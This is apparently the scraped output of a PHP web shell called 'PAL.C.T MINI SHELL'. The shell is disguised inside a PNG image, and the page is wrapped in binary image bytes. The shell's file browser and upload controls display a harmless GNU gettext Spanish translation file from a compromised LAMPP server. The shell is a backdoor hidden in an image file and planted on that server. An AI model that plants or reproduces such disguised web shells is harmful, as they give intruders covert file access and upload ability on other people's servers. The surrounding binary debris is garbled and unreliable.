php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/doc/gettext/examples/hello-ycp/po/
upload
files >> //opt/lampp/share/doc/gettext/examples/hello-ycp/po/es.po

# Mensajes en espaol para GNU gettext.
# Copyright (C) 1996, 1997, 1998, 2001, 2002, 2003, 2004 Free Software Foundation, Inc.
# Max de Mendizbal <max@upn.mx>, 1996, 1997, 1998, 1999, 2000, 
# 2001, 2002, 2003, 2004.
msgid ""
msgstr ""
"Project-Id-Version: hello-ycp-0.14\n"
"Report-Msgid-Bugs-To: bug-gnu-gettext@gnu.org\n"
"PO-Revision-Date: 2004-01-29 13:59-0600\n"
"Last-Translator: Max de Mendizbal <max@upn.mx>\n"
"Language-Team: Spanish <es@li.org>\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=ISO-8859-1\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: hello.ycp:15
msgid "Hello, world!"
msgstr "Hola, mundo!"

#: hello.ycp:19
#, ycp-format
msgid "This program is running as process number %1."
msgstr "Este programa est corriendo como el proceso nmero %1."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`